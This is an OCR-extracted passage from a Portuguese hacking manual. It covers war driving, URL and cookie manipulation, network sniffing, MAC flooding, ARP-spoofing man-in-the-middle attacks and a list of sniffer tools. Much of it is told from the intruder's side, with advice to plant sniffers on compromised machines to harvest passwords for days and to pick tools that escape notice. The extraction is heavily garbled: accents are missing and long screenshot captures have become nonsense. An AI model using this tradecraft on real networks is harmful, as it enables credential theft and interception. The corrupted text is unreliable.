seu laptop em uma tomada de rede da empresa.
O assunto relativamente novo e merece um estudo muito mais profundo do
que o que seria permitido neste livro. Alis, seria necessrio um livro inteiro
sobre isso. Uma excelente fonte de informaes e recursos (tutoriais, equipa-
mentos, esquemas de antena - inclusive feitas em casa) o si te
www:wardriving.com. Um esquema simples de antena, construdo com o j
lendrio tubo de batatas fritas Pringles, pode ser encontrado em
www.oreillynet.com/cs/weblog/view/wlg/448.
Hackers europeus foram mais longe e criaram o War Chalking - um alfabeto
especial para marcar, com giz e na calada, os pontos de acesso (posio e
orientao da antena) para uma melhor conexo rede alheia. Saiba mais so-
bre as tcnicas usadas no site oficial: www.warchalking.org (ou, alternativa-
mente, www.warchalking.us). Esse site traz informaes tcnicas, tutoriais, clu-
12681
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
bes e muitos links para outros recursos. O site www.blackbeltjones.com tam-
bm tem diversos recursos. Um artigo sobre o assunto pode ser encontrado na
Meca do wireless, o site 802.11 Planet (www.80211-planet.com/columns/
artic1e.php/140240n. .
Indoalm do SQl Injection...
Em nosso segundo estudo sobre vulnerabilidades, vimos maneiras simples de
enganar o script da pgina (seja em ASp' PHp, ColdFusion ou algum CGI) e
injetar nela modificaes na query SQL associada. Mas h outras maneiras de
brincar com sistemas baseados em Web.
A primeira e mais imediata observar e manipular os dados da prpria URL.
Muitos sistemas on-line carregam informaes valiosas em campos presentes de-
pois do endereo HTfP (tarefa para casa: pesquisar sobre os mtodos HTMLGEf
e POS1). Pentear uma URLgrande tentando entender como o sistema funciona o
primeiro passo para entrar em tal sistema. Bancos, sites de compras e mesmo sites
governamentais utilizam a URLcomo transporte de dados do cliente sem se im-
portar com o fato de serem informaes visveis por qualquer um na rede.
Um exemplo notrio disso foram as vulnerabilidades encontradas h alguns
anos no Hotmail (www.hotmail.com). em que os identificadores de sesso,
nomes de usurio e hashes das senhas estavam presentes na prpria URL. Hoje
o Hotmail j no padece mais desse mal, mas por muitos anos foi uma brecha
extremamente fcil de explorar.
Preste ateno ainda em sites que usam chamadas ODBC e no SQL. Sistemas
100% Microsoft tendem a privilegiar o inseguro protocolo ODBC para acesso
a bancos de dados Access e SQL-Server.
Alguns links para pesquisa sobre SQLInjection:
~ www.securiteam.com/securityreviews/5DPONlP76E.html
~ online. securityfocus.com/infocus/1644
~ www.sqlsecurity.com/DesktopDefault. aspx?tabindex=2&tabid=~
~ www.nextgenss.com/papers/advanced sql injection.pdf
~ www.spidynamics.com/papers/SQLIniectionWhitePaper.pdf
Outro mtodo o coolde poisoning, uma maneira de torcer a autenticao
via W eb. Quase a totalidade dos sites hoje em dia utilizam-se de cookies para
controlar acesso e sesso. Alterar UserID e SessionID em cookies pode ser um
atalho para entrar em contas de outros usurios.
mais difcil encontrar recursos sobre cookie poisoning na Internet. Sugeri-
mos os seguintes recursos:
~ White paper: Hacking web applications using cookie poisoning
(www.allasso.pt/base/ docs/11042206054. pdO.
~Busca pela palavra chave cookie no Security Focus (www.securityfocus.com).
1269 I
I Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
Dois softwares que trabalham como proxy baseados no desktop podem ser
usados para facilitar a manipulao de Cookies (e de cabealhos HTTP tam-
bm!): so eles o Achilles e o BrowseGate. A empresa que produz o Achilles
(DigiZen Security Group - www.digizen-security.com) parece ter retirado o
site do ar, mas descries sobre o produto podem ser encontradas no
PacketStorm (packetstormsecurity.nl/filedesc/achilles-O-27.zip.html) e no
SecuriTeam.com (www.securiteam.com/tools/6LOOR200KA.html).
O BrowseGate, desenvolvido pela NetCPlus (www.netcplus.com/
browsegate.htrnl) outra opo de Proxy Server que pode ser usada de manei-
ra malfica para torcer cookies e autenticao em sites. H uma anlise dele
em www.webattack.com/getlbrowsegate.shtml.
Para todos os problemas listados, possveis solues podem ser encontradas
no site oficial sobre segurana em sistemas web: www.owasp.org.
Farejando a rede (Sniffing)
Outra forma de ganhar acesso a uma rede, depois de "Ownar" uma das m-
quinas que a integram, passar a "escutar" o que est trafegando nessa rede.
Os programas que fazem esse tipo de trabalho sujo so chamados de sniffers
ou farejadores.
Um sniffer trabalha na camada 2 de nosso modelo de referncia OS!. Isso
quer dizer que impossvel fazer um sniffing diretamente via Internet em
uma rede distante. necessrio que o invasor instale e rode o sniffer em uma
mquina pertencente rede local que se quer farejar.
a objetivo mais imediato de um invasor quando instala um sniffer desco-
brir senhas de outros usurios da mesma rede. Deixando a ferramenta "de
campana" por alguns dias, possvel conseguir senhas de dezenas de usuri-
os e centenas de servios (sites, e-mail, servidores, sistemas...). Como h servi-
os autorizados para alguns usurios em especial e negados aos outros,
interessante, medida que se
v conseguindo senhas, que
instale sniffers em diversas
mquinas e, com isso, consiga
um universo maior delas.
fcil perceber que, nesse
contexto, o invasor vai
"Ownando"aos poucos um gran-
de nmero de mquinas dentro
da rede remota. Como uma
ferramenta da camada 2 e, por-
tanto, local, o sniffer deve ser
instalado e deixado em ativida-
de sem que o invasor interve-
1270 I
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
nha. A ferramenta escutar a rede e gravar tudo o que for de interesse em um
arquivo. Depois de algum tempo (alguns dias ou semanas) o hacker voltar ao
local do crime apenas para recuperar o arquivo com o tesouro, o qual analisa-
r em casa, desconectado.
H uma forma mais perniciosa de usar o sniffer: coloc-Io em um gateway
entre redes. Como vimos nos captulos pertinentes, um gateway um equipa-
mento que une duas ou mais redes diferentes de forma a passar pacotes entre
elas quando aplicvel. Um sniffer colocado num gateway pode escutar, ento, o
trfego de todas elas.
Na prtica, como a maioria esmagadora dos gateways ligam sua rede interna
Internet, o que o invasor tem disposio tanto seu conjunto potencial de
senhas e informaes confidenciais quanto os e-mails, senhas, informaes e
cartes de crdito que entram e saem de sua empresa. Imagine, num cenrio
ainda mais tenebroso, que um hacker plantou um sniffer em um gateway que
liga sua empresa ao seu site de comrcio eletrnico, ou operadora de cartes
de crdito, ou a seu parceiro, ou ao banco. Fatal!
A primeira providncia quando se vai farejar uma rede colocar a interface
de rede de alguma mquina em modo promscuo. Como vimos nos captulos
Redes I e 11,quando um pacote IP chega em uma rede, a interface que detm o
pacote pergunta: "qual o MACAddress que contm o endereo IP desse paco-
te"? A mquina destino responde com seu MACAddress e o pacote enviado a
ela. Esse o conhecido protocolo ARP.
"Enviado a ela", como escrito no pargrafo anterior, ligeiramente mentiro-
so (ou, como dizia um pastor luterano que conheci, um "exagero da verda-
de"). O pacote , na verdade, jogado no barramento e todas as interfaces po-
dem ler. O que ocorre que as interfaces fazem "ouvidos moucos" ao pacote,
caso este no seja direcionado a elas. Apenas a mquina a que realmente se
destina "presta ateno" ao que est trafegando na rede. As outras simplesmen-
te ignoram-no.
aqui que entra o "modo promscuo". Uma interface configurada dessa forma
"ouve"TODOSos pacotes que trafegamna rede, e no apenas os que so destinados
I 271 I
]Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3RI
a ela. Se isso um facilitador para a implementao de ferramentas de monitorao
de rede - coisaque todo administradorcompetentedeveriausar - tambmpossibi-
lita que algum com ms intenes facilmente escute o que no devia.
Para colocar uma interface de rede em modo promscuo, deve-se ter acesso
privilegiado ao sistema operacional - o que equivale a dizer root em um siste-
ma Unix, Administrator em um sistema WinNT ou Admin em um Novell
Netware. Por isso mesmo, tomar completamente pelo menos uma mquina na
rede (como vimos anteriormente) imperativo para que possamos fazer uma
"colheita" posterior. H diversas formas de colocar uma interface de rede em
modo promscuo. H programas especiais para isso em qualquer plataforma e
mesmo alguns truques no sistema operacional (seja ele Windows, Novell, HP-
UX...) so possveis sem o auxlio de qualquer programa externo.
Todo sistema operacional possui uma ferramenta qualquer que mostra o
estado e altera as configuraes da placa de rede. Tomando como exemplo um
sistema GNUlLinux, o comando que faz esse trabalho para ns o ifconfig.
Emitido (como root) sem argumentos, o comando mostra o estado de todas as
interfaces de rede. Emitido seguido do nome de uma interface, d o estado
atual dessa interface. Por exemplo, para saber a quantas anda a primeira
interface de rede (ethO), o comando seria:
# ifconfig ethO
o resultado seria:
Encapsulamento do Link: Ethernet Endereo de HW 00:08:74:B5:64:95
inet end.: 192.168.1.11 Bcast:192.168.1.255 Masc:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Mtrica:1
RX packets:13567 errors:O dropped:O overruns:1 frame:O
TX packets:8300 errors:O dropped:O overruns:O carrier:O
co1ises:0
RX bytes:3163776 (3.0 Mb) TX bytes:994079 (970.7 Kb)
Observe as informaes mostradas. Voc sabe, por meio desse comando, que
o encapsulamento do link (ou seja, o protocolo de camada 2) Ethernet, que o
MAC 00-08-74-B5-64-95,que o endereo de rede 192.168.1.11, que o tama-
nho mximo do pacote Ethernet (MTU) de 1.500 bytes, etc... H tambm
alguns flags que indicam se a interface est pronta ou "em p" (DP), se est
rodando (RUNNING) e se responde a broadcast ou multicast. Agora vejamos o
que acontece com o comando abaixo:
# ifconfig ethO promisc
Aparentemente, nada acontece. O shell nos devolve o prompt e nenhuma
mensagem de erro ou de tarefa conlcuda mostrada. Mas, se emitirmos nova-
mente o comando ifconfig ethO, o resultado seria um pouco diferente:
12721
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Encapsulamento do Link: Ethernet Endereo de HW 00:08:74:B5:64:95
inet end.: 192.168.1.11 Bcast:192.168.1.255 Masc:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Mtrica:1
RX packets:13567 errors:O dropped:O overruns:1 frame:O
TX packets:8300 errors:O dropped:O overruns:O carrier:O colises:O
RX bytes:3163776 (3.0 Mb) TX bytes:994079 (970.7 Kb)
Bingo! Observe que a placa agora est em modo promscuo (flag PROMISC).
Absolutamente TUDO o que est trafegando na rede interpretado pela pilha
TCP/lP do kemel e pode, portanto, ser monitorado. Isso inclui pacotes no
direcionados a essa mquina.
Sniffing passivo
As redes locais normalmen-
te se utilizam de equipamen-
tos chamados hubs (captulos
Redes I e lI) para facilitar e
flexibilizar a conexo de no-
vas mquinas a uma rede exis-
tente. O hub age ainda como
um elemento regenerador do
sinal eltrico presente no
barramento de rede. Mas o
hub um elemento passivo
no tocante a controle do tr-
fego na rede local.
Hubs e repetidores so
equipamentos que traba-
lham na camada 1 do mo-
delo OSI, portanto no tm controle algum sobre o quadro Ethemet (ou qual-
quer outro protocolo de camada 2 como Token Ring, PPp, Frame Relay ou
X.25). Isso significa que uma mensagem enviada de uma mquina para a ou-
tra ser ouvida por todas na rede.
fcil perceber, no desenho acima, que se a mquina A enviar uma mensa-
gem para a C, as estaes B, D e H ainda estaro "ouvindo". Portanto, apesar
da aparncia de estrela, uma rede que se utilize de um hub para interligar
as mquinas , na realidade, um barramento.
Conclumos que muito fcil para um sniffer registrar e decodificar tudo
o que trafega nessa rede. Como trabalha com interfaces em modo proms-
cuo, todos os pacotes da rede podem ser interpretados. Mas e se a rede
estiver segmentada com bridges ou switches?
1273 I
]Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3R I
No captulo 2 (Redes I) vimos en passant a descrio desses equipamentos.
Uma bridge divide a rede em dois segmentos e bloqueia trfego no destinado
cada um deles.
Observe: as mquinas A e B esto no segmento 1, enquanto C e D no segmen-
to 2. Isolando os dois, uma bridge. O trfego de A para B e de B para A fica
restrito ao segmento 1, e o trfego de C para D e de D para C fica restrito ao
segmento 2. A bridge bloqueia o trfego local, no deixando que mensagens
no endereadas a um barramento em especial cheguem nele.
XI Bridge'X
/t::: /t::: BloqueadopelaBridge
Entretanto, se a mquina C quer enviar uma mensagem para a mquina A, a
bridge deixa passar o pacote.
Bridge
Deixapassar
12741
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
A determinao de quais pa-
cotes devem passar e quais de-
vem ser bloqueados dinmi-
ca, baseada nos endereos MAC
das interfaces de rede. No mo-
mento que uma bridge ligada,
ela no tem nada na memria.
medida que as estaes vo
enviando pacotes para a rede, a
bridge guarda os MACAdresses ~~
~
---
numa tabela, relacionando-os .. ~
.
.
com o segmento de onde o pa- ~~.
cote se originou. Note que tudo ~
se passa na camada 2 do modelo OSI:a bridge s tem conhecimento das mquinas
ligadas diretamente em sua rede local.
Imagine, agora, um hub que possusse uma bridge em cada porta. Cada mquina
da rede receberia apenas trfego destinado a si. Esse "monstrengo existe e se cha-
ma comutador ou switch.Observe: assimcomo em nosso primeiro exemplo, a esta-
oA quer enviar uma mensagem para a estao B.Devido ao switch, nenhuma das
outras mquinas ir escutar o que Atem a dizer.Alm disso, C poderia falar com E
simultaneamente, pois a rede est, para elas, ociosa.
Uma rede com um switch no lugar de um hub, alm do controle e diminuio
do trfego, tambm ofereceria uma segurana adicional rede, uma vez que
um sniffer instalado, por exemplo, em D no poderia escutar nada das conver-
sas entre A e B ou C e E. O uso de bridges e switches, ento, minimizaria o
problema dos sniffers, certo? Infelizmente, mais uma vez, a resposta no...
Sniffing ativo
Um switch ou bridge possui uma tabela que relaciona os MACaddresses que
"ouviu" na rede com as portas ou segmentos nos quais foram "ouvidos". Como
preenchida dinamicamente, essa tabela ser atualizada toda vez que uma
nova mquina for conectada rede.
Como dizia um parente meu (ilustre, mas iletrado), "tudo o que demais em
demazia" (sic). A memria do switch possui um tamanho limitado, portanto um
nmero muito grande de interfaces de rede ligadas em cada uma das portas pode-
ria, num caso extremo, preench-Ia completamente. Pensando nisso, os fabricantes
desses equipamentos as dimensionam para que esse limite nunca seja atingido.
O problema que um quadro Ethemet nada mais do que uma seqncia de uns
e zeros que pode, por isso mesmo, ser manipulada. Um programa cuidadosamente
escrito poderia gerar, ad infinitum, frames Ethemet com MACadresses aleatrios
e, em alguns minutos, preencher completamente a memria do switch. Como o
show no pode parar, esses equipamentos podem comear a repassar mensagens
indiscriminadamente para todas as portas. Essatcnica chamada de MACFlooding.
1275 I
]Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
Uma vez nessa situao, qual-
quer sniffer poder farejar a
rede. H ferramentas que fazem
isso (uma delas, escrita em PerI,
pode ser encontrada em
www.safenetworks.com/
Others/~com4.html), mas os
sniffers mais modernos (como
o ettercap e o dsniff) j fazem
todo o trabalho.
Felizmente (ou infelizmente,
dependendo dos intentos do es-
timado leitor), alguns swii:ches
so imunes ao MAC Flooding.
H vrias maneiras de implementar switches assim. Podem ser usados algoritmos
de proteo que impedem que a memria seja completamente preenchida. Ou
ento um sistema de deteco de flood, baseado em padres de dados e um
knlowledge base dos sniffers conhecidos. Uma terceira maneira seria adotar
uma poltica de persistncia, mantendo MACs conhecidos h mais tempo em
detrimento de novas interfaces, caso a memria lote.
Para contornar esse inconveniente, os hackers desenvolveram uma tcnica cha-
mada ARP Spoofing. uma tcnica um pouco mais complicada, mas muito inte-
ligente. Em vez de trabalhar apenas na camada 2 (Ethernet) o invasor vai confun-
dir o computador cujo trfego se deseja "esnifar" manipulando sua tabela ARP.
O ARP, como discutido anteriormente, um mecanismo de traduo IP-para-
MAC. A mquina que quer enviar o pacote pergunta, na rede: "Quem tem o IP
tal"? Todas as mquinas daquele segmento ouvem a pergunta, mas apenas a
interface que possui aquele IP=10.0.0.1
IP responde: "Sou eu, meu MAC=xx.xx.xx
MAC :XXXXXX". A partir
disso, a interface de origem
monta um quadro Ethernet
e o envia ao destino. O ARP
Spoofmg uma maneira de
enganar a mquina da vti-
ma, fazendo-a acreditar que
o endereo MAC da mqui-
na onde o sniffer est
corresponde ao endereo IP
da mquina-destino original.
Complicado? Sim, . Vamos
tentar exemplificar:
12761
Ataque, defesa e contra-ataque: Invaso [
IP= 1O.O.OA
MAC=ww.ww.ww
Configura H
CD
para reenviar a B
tudo que chega
~
Snilfer Ativo: preparao
Universidade 3ano
No diagrama mostrado, a estao A quer falar com a estao B. A partir da
estao H, um hacker quer farejar a comunicao entre A e B. Para isso,
necessrio uma preparao prvia. A primeira coisa que o hacker deve fazer
configurar seu sistema operacional de H para repassar todo e qualquer
trfego que chegue para si, vindo de A, para a verdadeira mquina destino,
que B. A configurao do IP forwarding normalmente feita pelo prrpio
sniffer, mas possvel que em alguns casos seja necessrio faz-Io manual-
mente. Tanto Windows quanto Netware e tambm qualquer Unix permitem
esse tipo de redirecionamento. Lembra-se daquele mapa da rede, feito com
ping+traceroute (ou com o Cheops)? Ele ser muito til agora.
O segundo passo enganar a mquina A, fazendo-a acreditar que o IP de B
possui o MACde H. Isso conseguido fazendo H enviar um nmero monstruoso
de respostas ARPpara A, informando que o IP de B possui o MACde H - respos-
tas essas que sequer foram soli-
citadas. Depois de um certo tem-
po, A "pensa" que, para mandar
mensagens para o IP de B, tem
que construir quadros Ethemet
direcionados ao MACde H.
Agora s ativar seu sniffer
preferido e esperar. O trfego
vindo de A em direo a B vai
passar por H antes. Nem A nem
Bvo desconfiar disso, pois, para
eles, a comunicao apenas en-
tre os dois. Esse tipo de configu-
rao de ataque normalmente
chamado de "man in the middle".
Sniffer Ativo: ao!
Escolhendo seu sabujo
H um nmero gigantesco de ferramentas de sniffing que podem ser usadas
em diversas plataformas. Eis alguns:
~ tcpdump (www.tcpdump.org). a ferramenta nativa de monitoramento
de rede de qualquer Unix. J vimos o funcionamento do tcpdump no captulo
Redes lI. Colocando a placa de rede em modo promscuo (por exemplo, com
ifconfig no Linux) e rodando o tcpdump, tem-se o mais bsico possvel (mas
no por isso menos eficiente) sniffer de rede para Unix. A vantagem de se
usar o tcpdump que todos os Unices j o possuem - o invasor no precisa
instalar nada, s rodar o programa e direcionar a sada para um arquivo. O
comando seria:
12771
IAtaque, defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
# tcpdump [opes] > arquivo. de. sada
Uma verso do tcpdump para Windows pode ser encontrada em
windump. polito.it.
JPTraf
TCPConnections (SOU''C8Host :Por.t) - P"ckets - B~tes F1""s Face
r-I--65-71-187-100.dsl.d<C\P<...:358E > 844 1263J48 --A- ethO
mflj-bocd..ozmo.mo,1214 > 511 26374 --A- ethO
[68.10.252.64.sret.oot,3676 > 651 962504 --A- ethO
mflj-bocd..ozmo.mo,1214 > 465 21816 --A- ethO
rlXPOl238"108pcs. frsrc101..i.moca,1214 > 515 ~32 --A- ethO
mflj-bocd..ozmo.mo'l176 > 390 18006 --A- ethO
[ool"18ba()fc2.~."'tmlire.net'l~ > 316 4n352 --A- ethO
208.100.255.153,2019 > 225 1= --A- ethO
e16.49.88.~00:www = 4 1246 -PA- ethO I
61.9.18.19.1298 7 878 -PA- ethO
J
pcO:H>acd..ozmo.mo'3329 199 11885 --A- ethO
rserver13.icinternet.coo:www = 193 292671 -A- ethO
TCP: 189entr'ies fk:tive
Ib1-IP (M) (162 ~) fmo ~4 to 0180c200000000 ethO
~~~(JIT~f'f:' (~T:Er~~~~~~:~f~~f~'i
H}f' echorply (84~) f w1.scd.yaIuo.moto rikEr.'ozcuo.mo (src - I
frn-IP (M) (13O~) fmo ~ to 01~ on elliJ . '
,,~IP (M) (~-~) fmo ~ to 018Oc2Ooo0ooon elliJ . , !
~ IPTraf (iptraf.seul.org ), O
av de todos os sniffers Unix,
ainda pode ser efetivamente
usado em uma sesso de
sniffing. Apesar de sua idade,
possui recursos poderosos.
Vale a pena dar uma conferida.
Uma de suas vantagens que,
como o tcpdump, comum
encontr-Io j instalado - pou-
pando trabalho, recursos e no
levantando suspeitas.
~ Ethereal (www.ethereal.com). um sniffer poderoso, que suporta vrios
protocolos, marca-os com cores diferentes e interpreta seus significados. Pos-
sui uma interface grfica muitssimo amigvel. mais usada por administrado-
res, mas til tambm para crackers malintencionados. Disponvel para
Windows e Unix. Os autores recomendam.
ff:ff: ff: ff: ff: ff
bam.zing.or"
192.168.0.1
bam.zing.org
slashdot.org
b"nqing.arg
slashdot.org
slashdot.org
bam.zing.org
11 0.29"019 bam.zing.org
12 0.294194 slashdot.org
13 0.298fi41 bam.zing.or9
14 0.370983 slashdot.org
15 0.372207 slashdet.erg
,:"~",i~MM
51 ashdot.org
bam.zing.org
slashdot.org
bam.zing.erg
bam. zing. org
d25.hoo"or"
TCP
HTTP
TCP
HTTP
HTTP
Ten
Who has 192.1&8.0.1? Tel1 192.168.0.2
192.168.0.115 at OO:eO:29:68:8b:fb
Standard query A 51 ashdot. org
Standard query rasponse A 64.28.67.150
2741 > 'li"'! [SVN] Seq~195095a524 Ak=O Win-321
'li"'! > 2741 [SVN, ACK] Seq-1976068085 Ack-1950
2741 > 'li"'! (ACK] Seq-1950958525 Ack-197G680E
GET / Hm/1.1
'li"'! > 2741 IACK] Seq-1976068086 Ack-19509591E
GUJIfJi"-"'."
2741 > 'li"'! [ACKJ Seq-1950959165 Ack=19760695,
Conti nuati on
274.1 > 'li"'! [ACK] Seq-1 9509591 65 Ack-197607098
Conti nuati on
Conti nua,ti on
ltIFrame10 (1514on wire. 1514<aptured)
ltI Ethe rnet II
ItIInternet Pretocol. Src Addr: slashdot.org (64.28.67.150). Ost Addr: bam.zing.org (192.168.0.2)
HlTran5mission Control Protocolo Src Porto 'li"'! (80), Ost Porto 2741 (2741). Seq: 1976068086. Ack:
S Hypertext Trahsfer protocol
HTTP/1.1 200 OK\r\n
Date: Wed, 02 ]an 2002 00: 52: 37 GI>If\r\n
Server: Apache/1.3.20 (Unix) mod_per1/1. 25 mod_gzip/1. 3.1 9.1 a\r\n
X-Power.d~By: Slash 2.003000\r\n
X-Bender: In the event ef ao emergency. my a5S <an be used as a flotation device. \r\n
1950959165. Len:
2781
Ataque, defesa e contra-ataque: Invaso
Universidade 3ano
O"""",,,
7'",,,",, """"
"'",,,,,
""""",,,,,,,,,,,
'M'","n,'" ""'m Ci,]d,0,"0com
"',','""","
",""fi""",O,OO63
,,,"'",
",,,.",,ff,,",
,,~,,1i.., 6<
'''''''',m(O""
""',, ,h,,'"~,,,,,, ("n,U)
",,"".'.1."'''.1.1.05)
""",,,,", b,""h'",.'~("o.","',
V'''"~''''''''"ff'' "",,,1.,,, "ci, '"'" (,
5o"",,,,,,",",,",",
'>1'''''00,,,,,_(60)
""'"" o"," ,,"'''s
""""',d,,,,,o' ,..o", m'580121
""',, ,.."h' "'"''
P ".. 0,00'" U'C<'
Wiooo","" 3"6<
"_'d,>,,''''oo' ".TE",.'~.". "" MO".01, " , h_,
,,,,,,,'..',
"_'1,,,",,,,' ,wn:""''"~'" """,. jp'''. '00. """. ""d,.
R;;:;;';i';hi:;'~RE::"I;i,1:';;;'''''-''''iim' '"'"'''''''
;'h","",h'",5h""'''''''-C~","it"'',""'h''I'ITlE'
:;"'''''mm,' mor,'",o""oo' ""~.,,,o",W"'"'.''''",,",0' AU",-""'",""',
"""...,,,"" ",,,,..,,,
::o"i~i~) "H1:i':;';'~:'h1;p~1id-~;:~~H:~;tA):J::~;i, '11i:;::j,h,;i"",h''''"O'tl''''k>lO",
"~'I"",,'" ><"OC,,"~'"o."""""'"0 ~"''""'''",... ,,,,,,,,,,,,,..,, "'",,,... """,-0>
"'-"-"p'",'F-'''T"II"ho''3"''''~'.T""",,",,I,''<k/Th'',"",h10''""'''''",',I",",,.'"~,I'
o Ethereal pode, inclusive, decodificar e extrair informaes a partir de um
determinado protocolo. No exemplo acima, uma pgina HTMLfoi decodificada
de dentro de uma srie de pacotes TCP:
~ Sniff'em (www.sniff-em.com). um sniffer comercial para Windows. Faz
sozinho tudo o que o Ethereal, o Ettercap, o Snort e o Dsniff fazem juntos, mas
pago. Na opinio dos autores, no vale a pena pagar para ter algo que pode
ser obtido gratuitamente com ferramentas menores, mas usurios de Windows
gostam de ter tudo integrado num nico programa. Um dos diferencias do
Sniff'em sua capacidade de monitorar interfaces no-usuais como sadas seriais,
USBe modems RASe RDSIIISDN.
~ Snort (www.snort.org) um detector de intrusos (IDS) que serve tam-
bm como sniffer. muito conhecido por analisar de forma perfeita os logs do
Squid. Tem a seu favor, alm de sua coleo de truques, uma vasta lista de plata-
formas na qual roda, incluindo a Linux, Solaris, *BSD,HP-UX, IRIX, MacOS X,
AIX e Windows.
~ Sniffit (reptile.rug.ac.be/-coder/sniffit/sniffit.html) trabalha exclusivamen-
te em Unix, mas venerado pela comunidade por suas capacidades de sniffing
quase esotricas. Possui dois modos de operao. O tradicional (sniff mode)
faz o que qualquer sniffer faz: grava todo o trfego da rede. Um segundo modo,
chamado de interativo, permite que o hacker veja o que est trafegando na
rede em tempo real. possvel escolher apenas um protocolo para monitorar,
e existem ftltros que escondem toda a complexidade inerente dos protocolos,
mostrando apenas os dados teis. Com o sniffit, possvel inclusive ver o que a
vtima est digitando em um programa de mensagens instantneas como o
MSNMessenger ou o ICQ - tudo isso em tempo real!
1279 I
]Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3R I
~ Hafiye (www.enderunix.org/hafiye) um sniffer baseado em knowledge-base.
Possui um banco de dados com padres dos mais diversos protocolos de comunica-
o e criptografia e capaz de separar os dados teis de dentro de um pacote.
~ Kismet (www.kismetwire1ess.net) um farejador de redes wire1ess
(802.11) nos moldes do IPTraf e tcpdump.Alm de ser capaz de decodificar os
protocolos pertinentes, consegue dividir as redes por rea e por clula de r-
dio. Desenvolvido especialmente para Linux, suporta nativamente o PDAZaurus,
da Sharp, com placa de rede wireless. Uma boa pedida para War Driving.
~ USB Snoop (sourceforge.net/pro;ects/usbsnoop) monitora e grava todo
o trfego entre o driver do dispositivo USBe o prprio dispositivo. til para
engenharia reversa de drivers (para, por exemplo, produzir um driver Open
Source), mas tambm pode ser usado para monitorar o trfego de modems
USB.Uma rede criptografada e superprotegida pode ser "descadeirada" se um
laptop for ligado a um computador de mesa ligado a ela pelo USB.
~ APS- AdvancedPacket Sniffer(wwws-wrtec.de/clinux) outro exemplo de pro-
grama minsculo que pode ser usado para farejar pacotes. Como extremamente
dependente do kemel, funciona apenas em linux, mas sua interface simples e intuitiva
em modo texto permite sua operao remota sem sobrecarregar a conexo.
~ Hunt (lin.fsid.cvut.cz/-kra/index.html) no apenas um sniffer, mas uma
ferramenta completa de explorao de falhas na pilha TCP/lp. Suporta tudo o
que um sniffer deve ser capaz de oferecer: vigiar diversos tipos de protocolos
(ICMp,TCp, ARP), montar mensagens fragmentadas a partir de pacotes TCP
seqenciais, detectar ACK Storms, seqestrar sesses (hijacking) e "aprender"
os MACs da rede, entre muitos outros truques. Por ser muito didtico, o pre-
ferido dos professores de cursos de redes e segurana - foi, inclusive, desen-
volvido por um professor de matemtica da Universidade de Praga, Pavel Krauz.
Com o Hunt, podemos facilmente colocar-nos como man in the midd1e numa
conexo, registrar tudo o que estiver sendo transmitido, manipular os dados e
at mesmo termin-Ia (reset).
~ ettercap (ettercap.
sourceforge.net) um
excelente sniffer ativo,
ou seja, especial para
ser usado em redes com
switches. Suporta MAC
Flood e ARP SpOOflllge
extremamente fcil de
usar. Como funciona em
modo texto, fica facil-
mente operacional em
qualquer mquina Unix
e extremamente pe-
queno. Atacar com o
280 I
Ataque, defesa e contra-ataque: Invaso [
Universidade 3ano
ettercap brincadeira de criana: primeiro, escolhe-se a dupla de mquinas
que se quer monitorar as comunicaes.
Escolhe-se, entre as conexes
TCP ou UDP estabelecidas (pode
haver mais de uma), qual a que
se quer monitorar. Depois disso,
a tela mostra os dados que trafe-
gam entre as duas mquinas.
Pode-se grav-Ios, examin-Ios em
modo ASCII ou hexadecimal ou
injetar caracteres na trasmisso
(e assim manipular a conexo).
H plugins e novos mtodos de
sniffing com nomes sugestivos,
como Port Stealing, Hunt, Confusion... As possibilidades- so enormes!
~ Angst (angst.sourceforge.net), desenvolvido e testado para o OpenBSD,
uma ferramenta que tem a seu favor a robustez e o tamanho diminuto - alm
de fazer sniffing ativo. Possui menos recursos que seus primos mais ilustres
como o ettercap e o dsniff, mas pequeno o bastante para passar despercebi-
do em uma mquina invadida. Funciona tambm com FreeBSD e Slackware
Linux, outras plataformas Unix requerem recompilao e testes.
~ Dsniff (www.monkey.org/-dugsong/dsniff) , na atualidade, o mais res-
peitado sniffer ativo para redes comutadas. Foi testado pelos autores em
OpenBSD e Linux em PCs e Solaris em mquinas SunSPARC,mas j foi testado
em praticamente todos os sabores Unix conhecidos, entre eles AlX, FreeBSD,
HP-UXe at Mac OS X (blafasel.org/-floh/ports/dsniff-2.3.osx.tgz). H ainda
uma verso (desatualizada mas funcional) para Windows, disponvel em
www.datanerds.net/- mike/ dsniff.html.
Apesar dos sniffers mais simples serem mais fceis de "plantar" e usar, h outros,
mais elaborados, que so verdadeiras obras-de-artedo mal. O tcpdump sozinho em
uma mquina Unix j poderia fazer muito estrago, e tem a vantagem de j estar
instalado. Por outro lado, mquinas Wm9x permitem que um invasor "esnife"a rede
(usando, por exemplo, o Wmdump ou o Ethereal) sem invadir mquinas muito com-
plicadas ou seguras. Como qualquer usurio de Wm9x tem controle total sobre a
mquina, possvel rodar um sniffer nela sem precisar quebrar nenhuma senha de
administrador.A insegurana inerente a essa arquitetura auxilia o inimigo. Qualquer
servidor ou estao, sejam eles Unices, Macintoshes, Netwares ou Wmdows NT/2kj
XP,pode ser um perigo se mal configurados.Entretanto, redes com estaes Wmdows
95/98/Me nunca sero seguras, qualquer que seja o esforo dispendido nelas.
Para mais opes, procure por "sniff" no Fresmeat (www.freshmeat.net) ou
no Goog1e (www.goog1e.com). O download.com tambm possui diversas op-
es para Windows, e os CDs do livro tambm trazem mais alguns deles. Uma
ltima dica sobre sniffers (e outras ferramentas): pedram.redhive.com.
1281 I
1 Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
Farejando na prtica
Nada como uma sesso de sniffmg para fIxar os conceitos aprendidos. Poder-
amos exemplificar esse procedimento com um sniffer grfico como o Ethereal,
que possui uma verso para Windows e uma bela interface de comando. OEthereal
ainda separa e interpreta os protocolos para voc, de modo a fazer o mximo
possvel do "trabalho sujo" e deixar ao administrador de rede apenas com as
informaes teis, "mastigadas". Mas lembre-se: se voc est explorando uma
rede remota, possivelmente vai deixar seu sniffer rodando sozinho para depois
